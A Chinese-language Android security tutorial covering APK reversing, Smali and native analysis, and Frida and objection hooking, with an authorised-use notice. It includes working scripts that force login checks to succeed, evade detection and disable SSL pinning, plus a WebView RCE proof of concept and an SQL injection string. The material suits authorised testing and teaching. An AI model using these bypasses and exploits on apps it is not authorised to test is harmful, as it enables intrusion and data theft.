Android安全攻防实战:从APK逆向到Frida动态Hook全流程详解(附脚本)

移动安全攻防是网络安全领域的重要分支,Android凭借全球超过70%的市场占有率,成为移动应用安全研究的主战场。一台 rooted 手机配合 Frida、objection、IDA Pro 等工具,足以完成从静态逆向到动态 Hook、从协议分析到漏洞利用的完整链路。本文按"架构认知 → 静态逆向 → 动态分析 → 漏洞实战 → 防御加固"的递进顺序,系统梳理 Android 安全攻防的完整技术栈,所有脚本均经过实测可复现。

【提示】 本文所有技术内容仅用于授权的安全测试、漏洞研究与教学学习。对未授权目标进行逆向、Hook、渗透测试可能违反《网络安全法》《数据安全法》及目标应用的服务条款。读者应仅在自己的应用或获得书面授权的目标上实践,由此产生的任何法律责任由操作者本人承担。

一、Android安全架构基础

理解攻防技术的前提是理解 Android 的分层架构与安全模型。Android 安全体系并非单一机制,而是从内核到应用层逐级叠加的纵深防御。

1.1 Android系统架构分层

层级 名称 主要内容 安全相关职责
应用层 Application Layer 系统/第三方应用 APK 权限申请、组件导出控制、签名校验
框架层 Application Framework Activity Manager、Package Manager、Window Manager 等 权限校验、组件管理、Intent 分发
运行时层 Runtime & Libraries ART 虚拟机、Bionic libc、SQLite、OpenGL 沙箱隔离、DEX 解释/JIT/AOT、JNI 边界
内核层 Linux Kernel 进程调度、内存管理、驱动 UID 隔离、SELinux、seccomp、Keyring

1.2 Android核心安全机制

机制 实现层级 作用 绕过/攻防要点
应用沙箱 内核层 每个 APP 独立 UID,进程间文件/内存隔离 提权漏洞(如 CVE-2019-2215)突破沙箱
权限模型 框架层 危险权限运行时授权,普通权限安装时授予 检查是否滥用、是否运行时缺失校验
签名机制 框架层 APK 完整性校验、升级一致性校验 自签名伪造、签名校验绕过
SELinux 内核层 强制访问控制,限制进程能力域 permissive 模式、策略漏洞
seccomp 内核层 限制进程可调用系统调用集合 漏洞绕过过滤器
Keystore 硬件/TEE 密钥安全存储与运算(RSA/EC/AES) KeyMaster 漏洞、TEE 攻破
Verified Boot 引导层 启动链完整性校验 解锁 BL 后失效

1.3 APK文件结构详解

APK 本质是 ZIP 压缩包,其内部结构直接决定了逆向工具的解析方式。

文件/目录 作用 逆向关注点
AndroidManifest.xml 应用清单,声明组件、权限、SDK 二进制 XML,需用 APKTool 还原
classes.dex / classes2.dex Dalvik 字节码,Java/Kotlin 编译产物 反编译为 Smali/Java,审计逻辑
res/ 资源文件(布局、图片、字符串) 查找敏感字符串、硬编码
lib/ Native 库(arm64-v8a/armeabi-v7a/x86 IDA/Ghidra 分析 SO,JNI 函数定位
assets/ 原始资源,可放 dex/so/配置 动态加载 dex、加壳 payload
META-INF/ 签名信息(MANIFEST.MF、CERT.RSA、CERT.SF) v1/v2/v3 签名校验、签名方案识别
resources.arsc 编译后的资源索引 资源 ID 映射、字符串提取
kotlin/ Kotlin 元数据 Kotlin 反编译辅助

1.4 Dalvik与ART对比

维度 Dalvik ART
引入版本 Android 1.0 Android 5.0(默认)
执行方式 JIT 即时编译 AOT + JIT + Profile-guided
安装耗时 AOT 模式较慢,PGO 后改善
运行性能 较低 接近原生
字节码格式 DEX DEX(ODEX/VDEX/OAT 优化产物)
GC 机制 串行/并行 并发标记清除,暂停更短
逆向影响 Smali 结构简单 OAT 反编译需特殊处理

1.5 Android版本安全特性演进

版本 API 关键安全特性 攻防影响
Android 6.0 23 运行时权限、指纹 API 静态授权失效,需动态申请
Android 7.0 24 SELinux 强制、CertificatePinning 文件 Intent 受限
Android 8.0 26 Native API 限制、PIE 强制 隐式广播受限
Android 9.0 28 HTTP 明文默认禁用、SELinux 收紧 Network Security Config
Android 10 29 分区存储、MAC 随机化 文件访问范围收窄
Android 11 30 单次权限、包可见性过滤 隐式 Intent 查询受限
Android 12 31 BLAST 缓冲区、隐私仪表盘 PendingIntent 强制可变标志
Android 13 33 运行时通知权限、APK 签名 v3.1 通知需显式授权
Android 14 34 前台服务类型强制、隐式 Intent 收紧 组件导出强制显式声明

二、APK逆向基础

逆向的第一步是把二进制 APK 还原成可读的代码与资源,工具选型直接影响后续审计效率。

2.1 反编译工具对比

工具 处理对象 输出形式 优势 适用场景
APKTool APK 整体 Smali + 资源 资源还原准确、可重打包 修改资源、重打包签名
dex2jar DEX JAR 配合 JD-GUI 查看 快速浏览 Java 伪码
JADX APK/DEX Java 伪码 反编译质量高、GUI 友好 日常审计首选
JEB APK/DEX Java 伪码 + 交叉引用 商业级分析、支持脚本 复杂逻辑分析
IDA Pro SO/ELF 汇编 + 伪 C Native 分析标杆 SO 逆向、漏洞分析
Ghidra SO/ELF 汇编 + 伪 C 开源免费、支持协作 Native 逆向替代方案

2.2 APKTool使用

APKTool 负责资源还原与 Smali 提取,是重打包流程的核心。

反编译命令:

bash 复制代码
apktool d target.apk -o target_out
# 指定 framework,避免资源解析冲突
apktool d target.apk -f -o target_out -p framework/
# 仅提取 smali,不解码资源(提速)
apktool d target.apk -s -o target_out

重打包命令:

bash 复制代码
apktool b target_out -o target_repacked.apk
# 重打包后必须重新签名,否则安装失败

签名命令(使用 apksigner,推荐 v2 签名):

bash 复制代码
# 生成测试密钥
keytool -genkey -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 -storepass 123456 -keypass 123456 -dname "CN=Test,O=Test,C=CN"
# v1+v2+v3 签名
apksigner sign --ks test.keystore --ks-pass pass:123456 --key-pass pass:123456 --v1-signing-enabled true --v2-signing-enabled true --v3-signing-enabled true target_repacked.apk
# 验证签名
apksigner verify -v target_repacked.apk

2.3 JADX使用

JADX 提供命令行与 GUI 两种模式,适合快速浏览 Java 伪码。

bash 复制代码
# 命令行批量反编译
jadx -d output_dir target.apk
# 显示反编译进度与错误
jadx -d output_dir --show-bad-code target.apk
# 仅导出资源,不反编译代码
jadx -r -d output_dir target.apk
# 导出 Gradle 工程,便于 IDE 调试
jadx -e -d output_dir target.apk

GUI 模式下的高频操作:Ctrl+Shift+F 全局搜索字符串、Ctrl+F 类内搜索、右键 Find Usage 查看交叉引用、右键 Deobfuscate 映射混淆名。

2.4 Smali语法基础

Smali 是 Dalvik 字节码的人类可读形式,掌握其语法是审计与修改的基础。

语法元素 示例 含义
寄存器 v0, v1, p0 局部寄存器 v,参数寄存器 p
类型前缀 I, J, Z, Ljava/lang/String; int/long/boolean/对象类型
方法签名 Lcom/a/B;->foo(Ljava/lang/String;)I B.foo(String):int
字段引用 Lcom/a/B;->name:Ljava/lang/String; B 类的 name 字段
移动 move-result, move-object 取上一条指令结果
常量加载 const/4 v0, 0x1 v0 = 1
方法调用 invoke-virtual, invoke-static 实例方法/静态方法
返回 return-void, return v0 无返回/返回值
比较 if-eqz v0, :cond_0 v0==0 跳转
数组操作 aget, aput, array-length 数组读写与长度

2.5 DEX文件格式详解

字段 大小 作用
magic 8B 魔数 dex\n035\0
checksum 4B Adler-32 校验
signature 20B SHA-1 签名
file_size / header_size 4B/4B 文件与头大小
string_ids_size / off 4B/4B 字符串池
type_ids_size / off 4B/4B 类型池
proto_ids_size / off 4B/4B 方法原型池
field_ids_size / off 4B/4B 字段池
method_ids_size / off 4B/4B 方法池
class_defs_size / off 4B/4B 类定义
data / link 变长 数据与链接区

2.6 完整逆向流程

text 复制代码
获取APK → 病毒扫描 → 解包(APKTool) → 资源审计 → DEX反编译(JADX)
  → Manifest分析 → Smali审计 → Native提取 → IDA分析 → 动态调试
  → 报告产出

每一步的产物应分类归档,便于回溯。重打包后务必验证签名方案与目标 Android 版本兼容性。

三、Android Manifest分析

AndroidManifest.xml 是应用的"身份证",组件导出、权限声明、Intent 过滤器等关键安全属性全部集中于此。

3.1 AndroidManifest.xml结构

xml 复制代码
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.app"
    android:versionCode="1"
    android:versionName="1.0">

    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="34" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />

    <application
        android:name=".App"
        android:allowBackup="true"
        android:debuggable="false"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:networkSecurityConfig="@xml/network_config"
        android:usesCleartextTraffic="false">

        <activity android:name=".MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name=".PayService" android:exported="false" />
        <receiver android:name=".SmsReceiver" android:exported="true"
            android:permission="android.permission.BROADCAST_SMS">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <provider android:name=".DataProvider"
            android:authorities="com.example.app.data"
            android:exported="false" />
    </application>
</manifest>

3.2 四大组件安全分析

组件 作用 主要风险 防护要点
Activity 界面 界面劫持、Intent 注入、越权启动 exported=false、权限校验
Service 后台 越权调用、拒绝服务、数据泄露 exported=false、签名权限
BroadcastReceiver 广播 伪造广播、信息泄露、提权 permission 保护、动态注册
ContentProvider 数据共享 SQL 注入、目录遍历、数据泄露 exported=false、参数过滤

3.3 组件导出风险

属性 含义 风险等级 典型漏洞
android:exported="true" 可被外部应用调用 越权启动、数据泄露
android:exported="false" 仅应用内部调用 配合 intent-filter 默认导出易被忽视
intent-filter 未设 exported API 31+ 强制声明 历史默认导出
android:permission 保护 调用方需持权限 自定义权限未加签名级保护
android:grantUriPermissions URI 临时授权 永久授权或范围过大

【提示】intent-filter 的组件在 API 30 及以下默认 exported=true。升级 targetSdk 后若未显式声明,编译期会报错,但旧 APK 仍可能存在默认导出风险。

3.4 权限分析

权限类别 保护级别 示例 审计要点
普通权限 normal INTERNET 安装即授予,关注是否过度申请
危险权限 dangerous READ_SMS, READ_CONTACTS 运行时授权,检查是否校验
签名权限 signature BIND_DEVICE_ADMIN 仅同签名应用可获,自定义需谨慎
系统权限 signature|privileged MOUNT_UNINSTALL_FILESYSTEMS 仅系统应用
自定义权限 自定义 <permission android:name=...> 是否声明 protectionLevel

自定义权限若未声明签名级保护,任意应用声明同名权限即可获取,造成权限绕过。

3.5 Intent分析

类型 形式 风险
显式 Intent 指定包名/类名 越权调用已导出组件
隐式 Intent 仅指定 action/category Intent 劫持、信息泄露
Deep Link scheme://host/path 越权跳转、参数注入
App Link https:// + 域名验证 校验不严仍可被绕过
Scheme myapp:// 任意应用可声明,易被劫持

3.6 完整Manifest安全审计

审计顺序:权限清单 → 组件导出 → Intent Filter → allowBackup/debuggable/cleartextTrafficnetworkSecurityConfig → 自定义权限保护级别 → providerauthoritiesexported。重点关注 exported=true 且无权限保护的组件。

四、Smali代码分析

Smali 是修改与审计 APK 逻辑的直接入口,理解寄存器、指令与控制流是定位漏洞的前提。

4.1 寄存器与常用指令

指令类别 示例 说明
寄存器声明 .registers 4 方法使用 4 个寄存器
参数寄存器 p0=this, p1... 实例方法首参为 this
移动 move-object v0, p1 对象引用移动
常量 const-string v0, "hello" 字符串常量
字段读写 iget, iput, sget, sput 实例/静态字段
方法调用 invoke-virtual {p0, p1}, Lc/A;->foo(Ljava/lang/String;)V 实例方法
静态调用 invoke-static {p0}, Lc/A;->bar(I)I 静态方法
构造调用 invoke-direct {p0}, Lc/A;-><init>()V 构造方法
比较 if-eqz v0, :cond_0 为零跳转
数组 new-array v0, v1, [Ljava/lang/String; 新建数组

4.2 方法签名解析

Lcom/example/App;->checkLogin(Ljava/lang/String;Ljava/lang/String;)Z 表示 com.example.App 类的 checkLogin(String, String):boolean 方法。L 开头是对象类型,; 结尾;基本类型用单字母(I=int,Z=boolean,J=long,F=float,D=double,B=byte,C=char,S=short);数组用前导 [

4.3 条件跳转与循环

条件分支示例(判断登录状态):

smali 复制代码
.method public isLogin()Z
    .registers 2
    iget-boolean v0, p0, Lcom/example/App;->logined:Z
    if-eqz v0, :cond_not_login
    const/4 v1, 0x1
    return v1
    :cond_not_login
    const/4 v1, 0x0
    return v1
.end method

修改要点:审计登录校验时,将 if-eqz 改为 if-nez 即可反转逻辑,或直接 const/4 v0, 0x1; return v0 强制返回 true。

4.4 字符串与资源引用

字符串常量直接出现在 const-string 中,资源 ID 通过 R.string.xxx 对应的整数 ID 引用。逆向时优先全局搜索 const-string 中的 URL、key、token 等敏感串:

smali 复制代码
const-string v0, "https://api.example.com/v1/login"
const-string v1, "AES_KEY_1234567890abcdef"

4.5 常见漏洞模式

漏洞类型 Smali 特征 危害
WebView 漏洞 setJavaScriptEnabled(true) + addJavascriptInterface 远程代码执行
Intent 注入 getIntent() 后未校验直接 startActivity 越权启动
SQL 注入 rawQuery 拼接用户输入 数据库越权读写
不安全文件 openFileOutput 使用 MODE_WORLD_READABLE 数据泄露
硬编码密钥 const-string 含 AES/RSA 密钥 加密失效
弱随机 new Random() 生成 token 可预测

4.6 完整Smali审计流程

先定位 Application.onCreate 查看初始化逻辑,再追组件入口(Activity.onCreate),搜索关键 API(CipherHttpURLConnectionSharedPreferences),最后跟踪权限校验函数。审计循环与递归时注意循环边界与退出条件。

五、Native层逆向(SO库分析)

商业应用普遍将核心算法、加签逻辑、反调试代码下沉到 Native 层,SO 逆向是绕过 Java 层保护的关键。

5.1 JNI函数注册

注册方式 原理 识别方法
静态注册 函数名 Java_包名_类名_方法名 IDA 导出表直接搜索 Java_ 前缀
动态注册 RegisterNativesJNI_OnLoad 中注册 分析 JNI_OnLoadRegisterNatives 调用

动态注册示例(C 侧):

c 复制代码
static JNINativeMethod g_methods[] = {
    {"nativeSign", "(Ljava/lang/String;)Ljava/lang/String;", (void*)native_sign},
};
jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    JNIEnv* env;
    (*vm)->GetEnv(vm, (void**)&env, JNI_VERSION_1_6);
    jclass clazz = (*env)->FindClass(env, "com/example/NativeLib");
    (*env)->RegisterNatives(env, clazz, g_methods, 1);
    return JNI_VERSION_1_6;
}

5.2 IDA Pro分析SO库

典型流程:加载 SO → 等待自动分析 → 定位 JNI_OnLoad → 跟进 RegisterNatives → 还原函数表 → 逐个分析注册的 native 方法 → 查看交叉引用(X 键)→ 反编译伪 C(F5)。导出函数在 Exports 窗口,未导出函数在 Functions 窗口或通过字符串引用定位。

常用 IDA 快捷键:G 跳转地址、N 重命名、Y 修改类型、H 十六进制/十进制切换、X 交叉引用、F5 反编译。

5.3 ARM/ARM64汇编基础

元素 ARM (32) ARM64 说明
通用寄存器 R0-R12 X0-X30 / W0-W30 64 位用 X,低 32 位用 W
参数寄存器 R0-R3 X0-X7 前 4/8 个参数
返回值 R0 X0 函数返回值
链接寄存器 LR (R14) LR (X30) 返回地址
栈指针 SP (R13) SP 栈顶
程序计数器 PC (R15) PC 当前指令
调用约定 AAPCS AAPCS64 调用者保存 R0-R3
跳转指令 B, BL, BX B, BL, RET BL 带链接
加载存储 LDR, STR LDR, STR, LDP, STP LDP/STP 成对

5.4 native层常见漏洞

漏洞 成因 利用方式
缓冲区溢出 strcpy/sprintf 无边界检查 覆盖返回地址,ROP 利用
格式化字符串 printf(user_input) %n 写内存、泄漏栈
整数溢出 有符号运算未校验 越界读写
释放后使用 对象释放后继续引用 堆利用
信息泄漏 __stack_chk_fail 或日志含密钥 读取敏感数据

5.5 Frida attach分析SO函数

使用 Frida 在不修改 SO 的前提下挂钩 native 函数,观察参数与返回值:

javascript 复制代码
// hook 导出函数
Interceptor.attach(Module.findExportByName("libnative.so", "Java_com_example_NativeLib_nativeSign"), {
    onEnter: function (args) {
        console.log("nativeSign input=" + args[2].readCString());
        this.tid = this.threadId;
    },
    onLeave: function (retval) {
        console.log("nativeSign output=" + retval.readCString());
    }
});

5.6 完整Native逆向流程

text 复制代码
lib提取 → IDA加载 → JNI_OnLoad分析 → RegisterNatives还原 → 函数定位
  → 交叉引用 → 伪C分析 → 算法还原 → Frida动态验证

六、Frida动态分析

Frida 是目前最强大的移动端动态分析框架,通过注入 JavaScript 引擎实现跨平台 Hook,几乎覆盖所有 Android 安全场景。

6.1 Frida架构与原理

组件 作用
frida-core 核心引擎,负责进程注入与消息通信
frida-gum 代码插桩引擎,提供 Interceptor、Stalker、Memory 等 API
frida-server 运行在目标设备的服务进程,由 frida-core 启动
frida-agent 注入目标进程的 JS 运行时
frida-tools Python 客户端工具集(frida、frida-trace、frida-ps)

工作链路:PC 端 Python 脚本 → frida-server(设备端)→ 注入目标进程 → 执行 JS Agent → 回传结果。

6.2 安装与环境配置

bash 复制代码
# PC 端安装
pip install frida-tools frida
# 查看版本,确保与 frida-server 匹配
frida --version
# 设备端:下载对应版本 frida-server
adb push frida-server-16.x-android-arm64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
# 验证连接
frida-ps -U | grep <package>
# objection 安装
pip install objection

【提示】 frida-server 与 PC 端 frida-tools 主版本必须一致,否则会报 "unable to connect to remote frida-server"。arm64 设备务必下载 android-arm64 版本。

6.3 Frida JavaScript API

API 作用 常用方法
Java Java 层操作 perform, use, choose, cast
Interceptor 函数 Hook attach, replace, detachAll
Memory 内存操作 readPointer, writeU8, alloc, scan
Module 模块查询 findExportByName, enumerateExports, getBaseAddress
NativeFunction 调用 native new NativeFunction(ptr, retType, [argTypes])
NativePointer 指针封装 add, readCString, readByteArray
Process 进程信息 enumerateModules, enumerateThreads, id
Stalker 指令跟踪 follow, exclude
Thread 线程操作 backtrace, sleep

6.4 Java层Hook脚本

基础方法 Hook:

javascript 复制代码
Java.perform(function () {
    var Login = Java.use("com.example.Login");
    Login.check.implementation = function (user, pwd) {
        console.log("[Hook] user=" + user + " pwd=" + pwd);
        var ret = this.check(user, pwd);
        console.log("[Hook] ret=" + ret);
        return true; // 强制登录成功
    };
});

方法重载处理:

javascript 复制代码
Java.perform(function () {
    var cls = Java.use("com.example.Crypto");
    // 存在多个重载时需指定参数类型
    cls.encrypt.overload("java.lang.String", "int").implementation = function (data, mode) {
        console.log("encrypt called: " + data + ", mode=" + mode);
        return this.encrypt(data, mode);
    };
});

内部类 Hook:

javascript 复制代码
Java.perform(function () {
    // 内部类用 $ 分隔
    var Inner = Java.use("com.example.Outer$Inner");
    Inner.doWork.implementation = function () {
        console.log("Inner.doWork called");
        return this.doWork();
    };
});

动态加载 dex Hook:

javascript 复制代码
Java.perform(function () {
    var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
    DexClassLoader.loadClass.overload("java.lang.String").implementation = function (name) {
        console.log("[DexClassLoader] loadClass: " + name);
        var clazz = this.loadClass(name);
        if (name.indexOf("HotFix") !== -1) {
            console.log("热修复类已加载: " + name);
        }
        return clazz;
    };
});

6.5 Native层Hook脚本

导出函数 Hook:

javascript 复制代码
Interceptor.attach(Module.findExportByName("libnative.so", "aes_encrypt"), {
    onEnter: function (args) {
        this.data = args[0];
        this.len = args[1].toInt32();
        console.log("input len=" + this.len);
        console.log("input hex=" + hexdump(this.data, { length: this.len }));
    },
    onLeave: function (retval) {
        console.log("output hex=" + hexdump(retval, { length: this.len }));
    }
});

未导出函数 Hook(通过基址偏移):

javascript 复制代码
var base = Module.findBaseAddress("libnative.so");
// 假设目标函数在 SO 内偏移 0x1234
var target = base.add(0x1234);
Interceptor.attach(target, {
    onEnter: function (args) {
        console.log("hidden func called, arg0=" + args[0]);
    }
});

inline Hook 替换实现:

javascript 复制代码
var orig = Module.findExportByName(null, "open");
Interceptor.replace(orig, new NativeCallback(function (path, flags) {
    var p = Memory.readCString(path);
    if (p.indexOf("/proc/self/maps") !== -1) {
        // 反检测:返回伪造路径
        Memory.writeUtf8String(path, "/dev/null");
    }
    return new NativeFunction(orig, "int", ["pointer", "int"])(path, flags);
}, "int", ["pointer", "int"]));

6.6 完整Frida脚本集

以下脚本覆盖常用场景,可直接 frida -U -f <pkg> -l script.js 使用。

打印所有方法调用(trace 单个类):

javascript 复制代码
Java.perform(function () {
    var Target = Java.use("com.example.Target");
    var methods = Target.class.getDeclaredMethods();
    methods.forEach(function (m) {
        var name = m.getName();
        try {
            Target[name].overloads.forEach(function (overload) {
                overload.implementation = function () {
                    console.log("[*] " + name + " called with " + JSON.stringify(arguments));
                    var ret = overload.apply(this, arguments);
                    console.log("[*] " + name + " returned " + ret);
                    return ret;
                };
            });
        } catch (e) {}
    });
});

打印调用栈:

javascript 复制代码
console.log(Thread.backtrace(this.context, Backtracer.ACCURATE)
    .map(DebugSymbol.fromAddress).join("\n"));

Hook 构造函数:

javascript 复制代码
Java.perform(function () {
    var Date = Java.use("java.util.Date");
    Date.$init.overload().implementation = function () {
        this.$init();
        console.log("new Date() created");
    };
});

Hook SharedPreferences 读取:

javascript 复制代码
Java.perform(function () {
    var SP = Java.use("android.app.SharedPreferencesImpl");
    SP.getString.implementation = function (key, def) {
        var v = this.getString(key, def);
        console.log("SP.getString(" + key + ")=" + v);
        return v;
    };
});

Hook HashMap 存入(监控敏感数据):

javascript 复制代码
Java.perform(function () {
    var HashMap = Java.use("java.util.HashMap");
    HashMap.put.implementation = function (k, v) {
        if (k !== null && k.toString().indexOf("token") !== -1) {
            console.log("HashMap.put(" + k + "=" + v + ")");
        }
        return this.put(k, v);
    };
});

Hook Activity 启动:

javascript 复制代码
Java.perform(function () {
    var Activity = Java.use("android.app.Activity");
    Activity.startActivity.overload("android.content.Intent").implementation = function (intent) {
        console.log("startActivity: " + intent.toUri(0));
        return this.startActivity(intent);
    };
});

Hook WebView loadUrl:

javascript 复制代码
Java.perform(function () {
    var WebView = Java.use("android.webkit.WebView");
    WebView.loadUrl.overload("java.lang.String").implementation = function (url) {
        console.log("WebView loadUrl: " + url);
        return this.loadUrl(url);
    };
});

Hook ClipboardManager:

javascript 复制代码
Java.perform(function () {
    var CM = Java.use("android.content.ClipboardManager");
    CM.setPrimaryClip.implementation = function (clip) {
        console.log("Clipboard set: " + clip);
        return this.setPrimaryClip(clip);
    };
});

Hook 加密函数(Cipher):

javascript 复制代码
Java.perform(function () {
    var Cipher = Java.use("javax.crypto.Cipher");
    Cipher.doFinal.overload("[B").implementation = function (data) {
        var mode = this.getOpmode ? this.getOpmode() : this.getIV().length;
        console.log("Cipher.doFinal mode=" + mode + " data=" + bytesToHex(data));
        var ret = this.doFinal(data);
        console.log("Cipher result=" + bytesToHex(ret));
        return ret;
    };
});

Hook 网络请求(OkHttp):

javascript 复制代码
Java.perform(function () {
    var OkHttpClient = Java.use("okhttp3.OkHttpClient");
    var RealCall = Java.use("okhttp3.RealCall");
    RealCall.execute.implementation = function () {
        var req = this.request();
        console.log("OkHttp " + req.method() + " " + req.url());
        var resp = this.execute();
        return resp;
    };
});

七、objection自动化分析

objection 基于 Frida 封装了高层命令行接口,无需手写 JS 即可完成大部分 Hook、内存搜索、SSL 绕过等操作,是移动端快速测试的利器。

7.1 安装与使用

bash 复制代码
pip install objection
# attach 已运行进程
objection -g com.example.app explore
# spawn 模式启动
objection -g com.example.app -s "android sslpinning disable" explore
# 指定设备
objection -g com.example.app --device <id> explore

7.2 Android常用命令速查

命令 作用
android hooking list classes 列出已加载类
android hooking search classes <kw> 搜索类
android hooking watch class <cls> 监控类所有方法
android hooking watch class_method <m> --dump-args --dump-return 监控方法并打印参数返回值
android hooking set return_value <m> true 强制方法返回值
android heap print instances <cls> 打印堆中实例
android heap execute <handle> <method> 对实例调用方法
android root disable Root 检测绕过
android sslpinning disable SSL Pinning 绕过
android keystore clear 清空 Keystore
android intent launch_activity <cls> 启动 Activity
android hooking list activities 列出 Activity
android clipboard monitor 监控剪贴板
memory list modules 列出加载模块
memory list exports <lib> 列出 SO 导出函数
memory search "pattern" --string 内存搜索字符串
memory write <addr> "data" 内存写入

7.3 自动化Hook与监控

text 复制代码
objection> android hooking watch class com.example.Login
objection> android hooking watch class_method com.example.Login.check --dump-args --dump-return --dump-backtrace
objection> android hooking set return_value com.example.Login.check true

--dump-backtrace 打印调用栈,便于定位调用链。批量监控可在启动时通过 -s 传入多个命令。

7.4 内存搜索与修改

text 复制代码
objection> memory search "AES_KEY" --string
objection> memory search "55 66 77 88" --hex
objection> memory write <addr> "HACKED"

搜索结果返回地址列表,可结合 memory list modules 判断归属模块。修改前确认地址可写。

7.5 调用栈追踪

text 复制代码
objection> android hooking watch class_method com.example.Pay.verify --dump-backtrace

输出含完整调用链,可发现隐藏调用路径与反射调用点。

7.6 完整objection工作流程

text 复制代码
spawn应用 → sslpinning bypass → root disable → 列出类 → 搜索关键类
  → 监控方法 → 查看参数 → 设置返回值 → 堆实例操作 → 内存搜索 → 导出报告

八、SSL Pinning绕过

SSL Pinning 通过预置服务器证书或公钥,阻止中间人抓包。绕过 Pinning 是协议分析的前提。

8.1 SSL Pinning分类

类型 固定内容 绕过难度 检测方式
证书固定 整张证书 低(替换校验函数) OkHttp CertificatePinning
Public Key 固定 证书公钥 SPKI hash 比对
SPKI 固定 SubjectPublicKeyInfo 中高 多证书链校验
自定义校验 自实现逻辑 需逐一定位

8.2 OkHttp CertificatePinning绕过

javascript 复制代码
Java.perform(function () {
    var CertificatePinning = Java.use("okhttp3.CertificatePinner");
    CertificatePinning.check.overload("java.lang.String", "java.util.List").implementation = function (host, peer) {
        console.log("[Bypass] OkHttp CertificatePinning for " + host);
        // 直接返回,跳过校验
    };
    // 部分版本使用 check$okhttp
    if (CertificatePinning.check$okhttp) {
        CertificatePinning.check$okhttp.implementation = function () {
            console.log("[Bypass] check$okhttp");
        };
    }
});

8.3 TrustManager绕过

通用 TrustManager 绕过,覆盖多数 HTTPS 实现:

javascript 复制代码
Java.perform(function () {
    var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    var TrustManager = Java.registerClass({
        name: "com.frida.TrustManager",
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function (chain, authType) {},
            checkServerTrusted: function (chain, authType) {},
            getAcceptedIssuers: function () {
                return [];
            }
        }
    });
    var TrustManagers = [TrustManager.$new()];
    var ctx = SSLContext.init.overload("[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom");
    ctx.implementation = function (tms, sr) {
        ctx.call(this, TrustManagers, sr);
    };
});

8.4 Conscrypt绕过

Android 8+ 默认使用 Conscrypt 作为安全提供者,需额外处理:

javascript 复制代码
Java.perform(function () {
    var Conscrypt = Java.use("com.android.org.conscrypt.TrustManagerImpl");
    Conscrypt.verifyChain.implementation = function (chain, host, clientAuth, ocspData, tlsSctData) {
        console.log("[Bypass] Conscrypt verifyChain for " + host);
        return chain;
    };
});

8.5 Network Security Config绕过

network_security_config.xml 可强制 Pinning。绕过方式:反编译修改 res/xml/network_security_config.xml,删除 <pin-set> 节点后重打包;或用 Frida Hook android.security.net.config.NetworkSecurityConfig

8.6 Frida SSL Pinning绕过脚本集

监控所有 SSL 相关类(覆盖 OkHttp/Conscrypt/TrustManager):

javascript 复制代码
Java.perform(function () {
    var pinning_classes = [
        "okhttp3.CertificatePinner", "com.android.org.conscrypt.TrustManagerImpl",
        "javax.net.ssl.X509TrustManager", "okhttp3.internal.tls.OkHostnameVerifier"
    ];
    pinning_classes.forEach(function (name) {
        try {
            var cls = Java.use(name);
            var methods = cls.class.getDeclaredMethods();
            methods.forEach(function (m) {
                var mn = m.getName();
                if (["check", "verifyChain", "verify", "checkServerTrusted"].indexOf(mn) !== -1) {
                    cls[mn].overloads.forEach(function (o) {
                        o.implementation = function () {
                            console.log("[Bypass] " + name + "." + mn);
                            if (mn === "verifyChain") return arguments[0];
                        };
                    });
                }
            });
        } catch (e) {}
    });
});

objection 一键绕过:

text 复制代码
objection -g com.example.app explore
objection> android sslpinning disable

8.7 完整SSL Pinning绕过方案

按"先 objection 一键 → 失败则 Frida 通杀脚本 → 仍失败则定位自定义校验 → 必要时反编译改 XML 重打包"的顺序逐级尝试。

九、Android常见漏洞实战

9.1 WebView漏洞

配置项 风险 利用
setJavaScriptEnabled(true) JS 可调用本地接口 配合 addJavascriptInterface RCE
addJavascriptInterface(obj, "xx") JS 桥接暴露 Java 对象 反射调用 Runtime.exec(API<17)
setAllowFileAccess(true) file:// 读取本地文件 跨域读取
setAllowUniversalAccessFromFileURLs(true) file 域可跨域请求 窃取任意源数据
setAllowFileAccessFromFileURLs(true) file 域互相访问 本地文件泄露
onReceivedSslErrorproceed() 忽略 SSL 错误 中间人攻击
setSavePassword(false) 未设置 保存明文密码 历史版本泄露

WebView RCE 经典 PoC(API<17):

html 复制代码
<script>
function exec(cmd) {
    return window.jsinterface.getClass().forName("java.lang.Runtime")
        .getMethod("getRuntime", null).invoke(null, null).exec(cmd);
}
</script>

9.2 Intent注入漏洞

java 复制代码
// 漏洞代码:未校验 getExtras 来源
Intent received = getIntent();
Intent target = received.getParcelableExtra("redirect");
if (target != null) startActivity(target);

攻击者构造 PendingIntent 传入恶意 Intent,目标应用以自身权限启动任意组件。修复需校验目标包名与组件,或限制 PendingIntent 的可变标志。

9.3 SQL注入漏洞

SQLite 拼接注入:

java 复制代码
// 漏洞代码
Cursor c = db.rawQuery("SELECT * FROM users WHERE name='" + name + "'", null);

利用:传入 ' OR '1'='1 即可绕过条件。修复使用参数化查询 rawQuery("SELECT * FROM users WHERE name=?", new String[]{name})

Room 框架默认参数化,但 @Query 中若拼接 + 仍可能引入注入。

9.4 不安全文件存储

java 复制代码
// 漏洞:全局可读
FileOutputStream fos = openFileOutput("token", MODE_WORLD_READABLE);
fos.write(token.getBytes());

API 17 起 MODE_WORLD_READABLE/WRITEABLE 已废弃但仍可用,任何应用可读取。修复使用 MODE_PRIVATE,敏感数据存 Keystore 或加密后存储。

9.5 不安全Intent传递

PendingIntent 风险:若以 PendingIntent.getActivity(this, 0, intent, 0) 传递基础 Intent 且未指定目标组件,攻击者可填充任意 Intent。Android 12+ 强制 FLAG_IMMUTABLE/FLAG_MUTABLE,应优先 FLAG_IMMUTABLE

